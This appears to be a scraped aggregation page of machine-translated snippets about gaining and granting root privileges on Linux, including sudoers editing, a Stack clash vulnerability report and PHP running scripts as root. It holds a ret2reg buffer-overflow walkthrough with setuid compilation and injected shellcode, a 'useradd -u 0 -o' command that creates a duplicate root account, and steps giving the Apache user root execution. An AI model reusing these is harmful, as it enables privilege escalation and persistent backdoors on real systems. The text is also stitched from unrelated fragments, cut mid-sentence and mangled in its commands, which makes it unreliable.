Original linkLinux, BSD, Solaris, and other open-source systems are susceptible to a local privilege escalation vulnerability, "Stack clash," which can be exploited by attackers to smash Linux defenses and gain root privileges to execute code, according to security vendor Qualys researchers.Qualys that the high-risk vulnerability exists on the stack, bypassing th
user belongs to more than one user group at the same time, the user can switch between groups of users so that they have permissions for the other user groups. After logging in, the user can switch to another user group using the command Newgrp, which is the target user group.For example:$ NEWGRP RootInterpretation:This command switches the current user to the root user group, provided that the root user g
In production, sometimes due to security reasons, usually non-Linux administrators are only ordinary users of the account, but sometimes some operations require root permissions, this can be done by sudo, the steps are as follows:A. For example, our average user account name is XUSJ. To edit the configuration file for sudo:Input: VisudoFind root all= (all) all th
Boot into the desktop, ctrl+alt+t open the terminal ———— at this time the terminal is displayedUser name @ Computer Name:-$ represents a normal user
Enter here: sudo passwd root
This prompt ————[sudo] password for Gutar: Enter your user password to enter a new UNIX password: The new password, and the root password to re-enter the new UNIX password: Repeat input passwd: the password has been successful
This evening: 19:30 points, this troubled me for a long time to finally solve the problem, the principle is finally clear, in short, the use of sudo to give Apache user root executive authority, the following record:
Using PHP to execute a shell script with root privileges must be done in the following steps: (all the steps are my own experiments, if there are i
buffer array, then the contents of the buffer array will start executing. We just fill in the buffer array into the shellcode we want to perform, and the attack is perfect.Deductive attackGcc-z execstack-o vulnerableret2reg vulnerableret2reg.cchmod u+s vulnerableret2regsu test./vulnerableret2reg ' perl-e ' Print "\x90" X16;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\ x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x
The habit is to install the code under ~/build and then add the executable folder to path:Export path= $HOME/build/bin: $PATHFor the code that uses configure-and make, simply add prefix to modify the installation path:./configure--prefix= $HOME/buildFor code that uses CMake, modify the Cmake_install_prefix variable to modify the installation path:cmake-dcmake_install_prefix= $HOME/buildIn the absence of root privi
1, add the user, first with the AddUser command to add a normal/system user, the command is as follows:# AddUser [-r]–d/tommy TommyAdd a user named Tommy# passwd Tommy//Change PasswordChanging password for user Tommy.New UNIX Password://Enter your password hereRetype new UNIX Password://Enter password againPasswd:all authentication tokens updated successfully.2. Give root permission (recommend this method)Modify the/etc/sudoers file, locate the follow
Test environment: CentOS 6.51, add users, first add a normal user with the AddUser command, the command is as follows: #adduser Tommy//Add a user named Tommy #passwd Tommy // Modify the password changing password for user Tommy. New UNIX Password: //Enter this password here Retype Unix password: //Enter new password again passwd:all authentication tokens updated Successfully. 2, give root permission method One: Modify the/etc/sudoers file, find
Matlab r2013a Unix EditionNote: Because I am in the unit of the cluster system installed MATLAB, no root permissions, so download down. iso files can not be mounted under Linux with mount command, so the first decompression under win, and then upload the extracted files to the server.Because there is no root privilege, all content that needs to be installed is in
Create an account with root privileges under LinuxUseradd-u 0-o-G root-g root-d/home/user1 user1Usermod-u 0-o-G root-g Root user1Description-U 0: Specifies that the UID is specified as 0 (0) as
user belongs to more than one user group at the same time, the user can switch between groups of users so that they have permissions for the other user groups.After logging in, the user can switch to another user group using the command Newgrp, which is the target user group.For example:$ NEWGRP RootInterpretation:This command switches the current user to the root user group, provided that the root user gr
, and the group identification number of the new group is added 1 on the basis of the currently existing maximum group identification number.Example 2:$ groupadd-g 101 Group2Interpretation:This command adds a new group group2 to the system, specifying that the group identification number for the new group is 101.2. If you want to delete an existing user group, use the Groupdel command.Grammar:Groupdel User GroupExample 1:$ Groupdel group1Interpretation:This command removes the group group1 from
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Previous Stack parameter 1
The address to which the previous stack was run
Start address of previous stack
Parameter n
...
Parameter 1
After 3, you can see that the whole function exits, and the stack pointer goes back to the stack of the calling function. This completes the complete function call, and also completes the stack-in
have root privileges to allow the normal user to have root privilegesI. practice. (1). The first type is the most common sudo command. This command allows the normal user to have administrative privileges, and/etc/sudoers is the configuration file for the sudo command.In the configuration file, its basic format is user
Linux Kernel series-5. Transfer of privileges and privileges in operating system development, linux privileges
CPL-the privileged level of the currently executed program or task, which is stored in the 0th-bit and 1st-bit cs and ss.
DPL-the privileged level of a segment or p
Tags: database password mysql account permissionsYou may want to change the root password because you are not able to replace the server password of the network project with the MySQL database password on the server, and you may replace the ctrl+h with the other database-independent fields. This has led to a more non-starter project. In addition, in order to have a local and root-like account to participate
system firmware version Firware is 1.0, so does not support Simplified Chinese input, but support for the Simplified Chinese display development team to work on it, now Zhao 1.5/1.6 Are all based on the root to obtain the basis of the Chinese-made package.
2 We can view the installed software through Abus
Although there is no root authority, we can still install software and games through Abus, but if we
Used as a reference for resolving PHP to execute commands or applications with root privileges that some ordinary users cannot perform.
In fact, the Popen () function in PHP can solve this problem, but due to some version of Linux (such as I use CentOS 5) for system security considerations,
It's a lot of trouble to solve this problem. Let's take a look at a netiz
Turn a blog, before doing this thing for a long time, the results of this evening saw a life-saving blog, Instant happy ... Reproduced reproducedUse sudo to give Apache user root execution permissions, which are documented below:Using PHP to execute a shell script with root privileges requires the following steps: (All steps are my own experiment, if there is som
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